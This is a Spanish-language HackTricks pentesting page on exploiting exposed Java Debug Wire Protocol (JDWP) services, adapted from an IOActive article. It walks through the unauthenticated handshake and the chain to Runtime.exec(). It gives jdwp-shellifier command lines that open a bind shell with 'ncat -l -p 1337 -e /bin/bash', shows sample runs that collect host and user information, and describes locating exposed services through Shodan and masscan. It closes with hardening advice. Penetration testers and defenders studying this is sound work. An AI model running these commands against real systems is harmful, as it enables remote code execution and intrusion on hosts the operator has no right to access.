22 KiB
Pentesting JDWP - Protocolo de Depuración de Java
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? o ¿quieres acceder a la última versión de PEASS o descargar HackTricks en PDF? Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Consigue el merchandising oficial de PEASS & HackTricks
- Únete al 💬 grupo de Discord o al grupo de Telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Explotación
La explotación de JDWP se basa en la falta de autenticación y cifrado del protocolo. Generalmente se encuentra en el puerto 8000, pero otros puertos son posibles. La conexión inicial se realiza enviando un "JDWP-Handshake" al puerto objetivo. Si hay un servicio JDWP activo, responde con la misma cadena, confirmando su presencia. Este handshake actúa como un método de fingerprinting para identificar servicios JDWP en la red.
En términos de identificación de procesos, buscar la cadena "jdwk" en procesos Java puede indicar una sesión JDWP activa.
La herramienta de referencia es jdwp-shellifier. Puedes usarla con diferentes parámetros:
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
Descubrí que el uso de --break-on 'java.lang.String.indexOf'
hace que el exploit sea más estable. Y si tienes la oportunidad de subir una puerta trasera al host y ejecutarla en lugar de ejecutar un comando, el exploit será aún más estable.
Más detalles
Copiado de https://ioactive.com/hacking-java-debug-wire-protocol-or-how/
Java Debug Wire Protocol
Java Platform Debug Architecture (JPDA): JDWP es un componente del sistema global de depuración de Java, llamado Java Platform Debug Architecture (JPDA)[2]. A continuación se muestra un diagrama de la arquitectura general:
El Debuggee consiste en una JVM multi-hilo ejecutando nuestra aplicación objetivo. Para ser depurable de forma remota, la instancia de JVM debe iniciarse explícitamente con la opción -Xdebug pasada en la línea de comandos, así como la opción -Xrunjdwp (o -agentlib). Por ejemplo, iniciar un servidor Tomcat con depuración remota habilitada se vería así:
Como se muestra en el diagrama de arquitectura, el Java Debug Wire Protocol es el enlace central entre el Debugger y la instancia de JVM. Observaciones sobre el protocolo incluyen:
- Es un protocolo binario de red basado en paquetes.
- Es mayormente sincrónico. El depurador envía un comando a través de JDWP y espera recibir una respuesta. Sin embargo, algunos comandos, como Eventos, no esperan una respuesta sincrónica. Enviarán una respuesta cuando se cumplan condiciones específicas. Por ejemplo, un BreakPoint es un Evento.
- No utiliza autenticación.
- No utiliza cifrado.
Todas estas observaciones tienen sentido total, ya que estamos hablando de un protocolo de depuración. Sin embargo, cuando tal servicio está expuesto a una red hostil, o está orientado a Internet, las cosas podrían salir mal.
Handshake: JDWP dicta[9] que la comunicación debe iniciarse con un simple handshake. Tras una conexión TCP exitosa, el Debugger (cliente) envía la cadena ASCII de 14 caracteres “JDWP-Handshake”. El Debuggee (servidor) responde a este mensaje enviando exactamente la misma cadena. La siguiente traza de scapy[3] muestra el handshake inicial de dos vías:
root:~/tools/scapy-hg # ip addr show dev eth0 | grep “inet “ inet 192.168.2.2/24 brd 192.168.2.255 scope global eth0root:~/tools/scapy-hg # ./run_scapy
Bienvenido a Scapy (2.2.0-dev)
>>> sniff(filter=”tcp port 8000 and host 192.168.2.9″, count=8)
<Sniffed: TCP:9 UDP:1 ICMP:0 Other:0>
>>> tcp.hexraw()
0000 15:49:30.397814 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 S
0001 15:49:30.402445 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 SA
0002 15:49:30.402508 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 A
0003 15:49:30.402601 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 PA / Raw
0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake
0004 15:49:30.407553 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A
0005 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A
0006 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 PA / Raw
0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake
0007 15:49:30.407636 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 A
Un auditor de seguridad experimentado ya se habrá dado cuenta de que tal handshake simple ofrece una forma de descubrir fácilmente servicios JDWP activos en Internet. Solo envía una sonda simple y verifica la respuesta específica. Más interesante aún, se observó un comportamiento en el IBM Java Development Kit al escanear con ShodanHQ[4] con el servidor "hablando" primero con el mismo banner mencionado. Como consecuencia, hay una forma totalmente pasiva de descubrir un servicio JDWP activo (esto se cubre más adelante en este artículo con la ayuda de Shodan, el (in)famoso).
Comunicación: JDWP define mensajes[10] involucrados en las comunicaciones entre el Debugger y el Debuggee. Los mensajes siguen una estructura simple, definida de la siguiente manera:
Los campos Length y Id son bastante autoexplicativos. El campo Flag solo se utiliza para distinguir paquetes de solicitud de respuestas, un valor de 0x80 indica un paquete de respuesta. El campo CommandSet define la categoría del Comando como se muestra en la siguiente tabla.
\
CommandSet | ** Command** |
---|---|
0x40 | Acción a ser tomada por la JVM (por ejemplo, establecer un BreakPoint) |
0x40–0x7F | Proporcionar información de eventos al depurador (por ejemplo, la JVM ha alcanzado un BreakPoint y está esperando acciones adicionales) |
0x80 | Extensiones de terceros |
Teniendo en cuenta que queremos ejecutar código arbitrario, los siguientes comandos son los más interesantes para nuestros propósitos.
- VirtualMachine/IDSizes define el tamaño de las estructuras de datos manejadas por la JVM. Esta es una de las razones por las que el script de nmap jdwp-exec.nse[11] no funciona, ya que el script utiliza tamaños codificados.
- ClassType/InvokeMethod te permite invocar una función estática.
- ObjectReference/InvokeMethod te permite invocar una función de un objeto instanciado en la JVM.
- StackFrame/(Get|Set)Values proporciona capacidades de push/pop de la pila de hilos.
- Event/Composite obliga a la JVM a reaccionar a comportamientos específicos declarados por este comando. Este comando es una clave importante para fines de depuración, ya que permite, entre muchas otras cosas, establecer puntos de interrupción, avanzar paso a paso a través de los hilos durante la ejecución y ser notificado al acceder/modificar valores de la misma manera que GDB o WinDBG.
JDWP no solo te permite acceder e invocar objetos que ya residen en la memoria, sino que también te permite crear o sobrescribir datos.
- VirtualMachine/CreateString te permite transformar una cadena en un java.lang.String que vive en el tiempo de ejecución de la JVM.
- VirtualMachine/RedefineClasses te permite instalar nuevas definiciones de clases.
“Todos tus JDWP nos pertenecen”
Como hemos visto, JDWP proporciona comandos integrados para cargar clases arbitrarias en la memoria de la JVM e invocar bytecode ya existente y/o recién cargado. La siguiente sección cubrirá los pasos para crear código de explotación en Python, que se comporta como una implementación parcial de un front end de JDI para ser lo más confiable posible. La razón principal de este script de exploit independiente es que, como pentester, me gustan los exploits de "disparo a la cabeza". Es decir, cuando sé con certeza que un entorno/aplicación/protocolo es vulnerable, quiero tener mi herramienta lista para explotarlo de inmediato (es decir, no PoC, que básicamente es lo único que existía hasta ahora). Así que ahora que hemos cubierto la teoría, pasemos a la implementación práctica. Al enfrentarse con un servicio JDWP abierto, la ejecución de comandos arbitrarios está a solo cinco pasos de distancia (o con este exploit, a solo un comando de distancia). Así es como se desarrollaría: 1. Obtener referencia del tiempo de ejecución de JavaLa JVM manipula objetos a través de sus referencias. Por esta razón, nuestro exploit debe obtener primero la referencia a la clase java.lang.Runtime. De esta clase, necesitamos la referencia al método getRuntime(). Esto se realiza obteniendo todas las clases (paquete AllClasses) y todos los métodos en la clase que estamos buscando (paquete ReferenceType/Methods). 2. Configurar punto de interrupción y esperar notificación (llamadas asíncronas)Esta es la clave de nuestro exploit. Para invocar código arbitrario, necesitamos estar en un contexto de hilo en ejecución. Para hacerlo, un truco es configurar un punto de interrupción en un método que se sabe que se llama en tiempo de ejecución. Como se vio anteriormente, un punto de interrupción en JDI es un evento asíncrono cuyo tipo se establece en BREAKPOINT(0x02). Cuando se alcanza, la JVM envía un paquete EventData a nuestro depurador, que contiene nuestro ID de punto de interrupción y, lo que es más importante, la referencia al hilo que lo alcanzó.
\
Por lo tanto, es una buena idea establecerlo en un método que se llame con frecuencia, como java.net.ServerSocket.accept(), que es muy probable que se llame cada vez que el servidor reciba una nueva conexión de red. Sin embargo, uno debe tener en cuenta que podría ser cualquier método existente en tiempo de ejecución. 3. Asignar un objeto Java String en Runtime para llevar a cabo el payloadVamos a ejecutar código en el tiempo de ejecución de la JVM, por lo que todos nuestros datos manipulados (como la cadena) deben existir en el tiempo de ejecución de la JVM (es decir, poseer una referencia en tiempo de ejecución). Esto se hace bastante fácilmente enviando un comando CreateString.
4. Obtener objeto Runtime del contexto de punto de interrupciónEn este punto tenemos casi todos los elementos que necesitamos para una explotación exitosa y confiable. Lo que nos falta es una referencia al objeto Runtime. Obtenerlo es fácil, y simplemente podemos ejecutar en el tiempo de ejecución de la JVM el método estático java.lang.Runtime.getRuntime()[8] enviando un paquete ClassType/InvokeMethod y proporcionando las referencias de la clase Runtime y del hilo. 5. Buscar e invocar el método exec() en la instancia de RuntimeEl paso final es simplemente buscar el método exec() en el objeto estático Runtime obtenido en el paso anterior e invocarlo (enviando un paquete ObjectReference/InvokeMethod) con el objeto String que creamos en el tercer paso.
¡¡Et voilà!! Rápido y fácil. Como demostración, iniciemos un Tomcat ejecutándose con el "modo de depuración" de JPDA habilitado:
root@pwnbox:~/apache-tomcat-6.0.39# ./bin/catalina.sh jpda start
Ejecutamos nuestro script sin un comando para ejecutar, para simplemente obtener información general del sistema:
hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.9
[+] Targeting ‘192.168.2.9:8000’
[+] Reading settings for ‘Java HotSpot(TM) 64-Bit Server VM – 1.6.0_65’
[+] Found Runtime class: id=466[+] Found Runtime.getRuntime(): id=7facdb6a8038
[+] Created break event id=2
[+] Waiting for an event on ‘java.net.ServerSocket.accept’## Here we wait for breakpoint to be triggered by a new connection ##
[+] Received matching event from thread 0x8b0
[+] Found Operating System ‘Mac OS X’
[+] Found User name ‘pentestosx’
[+] Found ClassPath ‘/Users/pentestosx/Desktop/apache-tomcat-6.0.39/bin/bootstrap.jar’
[+] Found User home directory ‘/Users/pentestosx’
[!] Command successfully executed
Mismo comando de línea, pero contra un sistema Windows y deteniéndose en un método totalmente diferente:
hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 –break-on ‘java.lang.String.indexOf’
[+] Targeting ‘192.168.2.8:8000’
[+] Reading settings for ‘Java HotSpot(TM) Client VM – 1.7.0_51’
[+] Found Runtime class: id=593
[+] Found Runtime.getRuntime(): id=17977a9c
[+] Created break event id=2
[+] Waiting for an event on ‘java.lang.String.indexOf’
[+] Received matching event from thread 0x8f5
[+] Found Operating System ‘Windows 7’
[+] Found User name ‘hugsy’
[+] Found ClassPath ‘C:UsershugsyDesktopapache-tomcat-6.0.39binbootstrap.jar’
[+] Found User home directory ‘C:Usershugsy’
[!] Command successfully executed
Ejecutamos nuestro exploit para generar un bind shell con el payload "ncat -e /bin/bash -l -p 1337", contra un sistema Linux:
hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 –cmd ‘ncat -l -p 1337 -e /bin/bash’
[+] Targeting ‘192.168.2.8:8000’
[+] Reading settings for ‘OpenJDK Client VM – 1.6.0_27’
[+] Found Runtime class: id=79d
[+] Found Runtime.getRuntime(): id=8a1f5e0
[+] Created break event id=2
[+] Waiting for an event on ‘java.net.ServerSocket.accept’
[+] Received matching event from thread 0x82a[+] Selected payload ‘ncat -l -p 1337 -e /bin/bash’
[+] Command string object created id:82b
[+] Runtime.getRuntime() returned context id:0x82c
[+] found Runtime.exec(): id=8a1f5fc[+] Runtime.exec() successful, retId=82d
[!] Command successfully executed Success, we now have a listening socket!
root@pwnbox:~/apache-tomcat-6.0.39# netstat -ntpl | grep 1337
tcp 0 0 0.0.0.0:1337 0.0.0.0:* LISTEN 19242/ncat
tcp6 0 0 :::1337 :::* LISTEN 19242/ncat
El exploit final utiliza esas técnicas, añade algunas comprobaciones y envía señales de suspender/reanudar para causar la menor interrupción posible (siempre es mejor no romper la aplicación en la que estás trabajando, ¿verdad?). Actúa en dos modos:
- El modo "Predeterminado" es totalmente no intrusivo y simplemente ejecuta código Java para obtener información del sistema local (perfecto para un PoC a un cliente).
- Pasar la opción "cmd" ejecuta un comando del sistema en el host remoto y, por lo tanto, es más intrusivo. El comando se realiza con los privilegios con los que se está ejecutando la JVM.
Este script de exploit se probó con éxito contra:
- Oracle Java JDK 1.6 y 1.7
- OpenJDK 1.6
- IBM JDK 1.6
Como Java está diseñado para ser independiente de la plataforma, los comandos se pueden ejecutar en cualquier sistema operativo que Java soporte. Bueno, esto es en realidad una buena noticia para nosotros los pentesters: un servicio JDWP abierto significa RCE confiable. Hasta ahora, todo bien.
¿Qué pasa con la explotación en la vida real?
De hecho, JDWP se utiliza bastante en el mundo de las aplicaciones Java. Sin embargo, los pentesters podrían no verlo tan a menudo al realizar evaluaciones remotas, ya que los firewalls deberían (y lo hacen) bloquear en su mayoría el puerto en el que se está ejecutando. Pero esto no significa que JDWP no se pueda encontrar en la naturaleza:
- En el momento de escribir este artículo, una búsqueda rápida en ShodanHQ[4] revela inmediatamente alrededor de 40 servidores enviando el handshake de JDWP:
Esto es en realidad un hallazgo interesante porque, como hemos visto antes, se supone que es el lado del cliente (depurador) el que inicia el diálogo.
- GitHub[7] también revela un número significativo de aplicaciones de código abierto potencialmente vulnerables:
- Escanear Internet con masscan en busca de puertos específicos (tcp/8000, tcp/8080, tcp/8787, tcp/5005) reveló muchos hosts (que no se pueden informar aquí) respondiendo al handshake inicial.
- Se encontraron aplicaciones "Empresariales" en la naturaleza ejecutando un servicio JDWP por defecto (encontrar el número de puerto real se deja como ejercicio para el lector curioso).
Estas son solo algunas formas de descubrir servicios JDWP abiertos en Internet. Esto es un gran recordatorio de que las aplicaciones deben someterse regularmente a revisiones de seguridad exhaustivas, los entornos de producción deben tener cualquier funcionalidad de depuración desactivada y los firewalls deben configurarse para restringir el acceso solo a los servicios requeridos para la operación normal. Permitir que cualquiera se conecte a un servicio JDWP es exactamente lo mismo que permitir una conexión a un servicio gdbserver (de una manera que puede ser más estable). Espero que hayas disfrutado leyendo este artículo tanto como yo disfruté jugando con JDWP. ¡A todos vosotros, poderosos piratas, feliz conquista de JDWP!
Gracias
Me gustaría agradecer a Ilja Van Sprundel y Sebastien Macke por sus ideas y pruebas.
Referencias:
- https://github.com/IOActive/jdwp-shellifier
- http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html
- http://www.secdev.org/projects/scapy (ya no está activo)
- http://www.shodanhq.com/search?q=JDWP-HANDSHAKE
- http://www.hsc-news.com/archives/2013/000109.html (ya no está activo)
- http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt
- https://github.com/search?q=-Xdebug+-Xrunjdwp&type=Code&ref=searchresults
- http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html
- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html
- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html
- http://nmap.org/nsedoc/scripts/jdwp-exec.html
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? o ¿quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Consigue el merchandising oficial de PEASS & HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.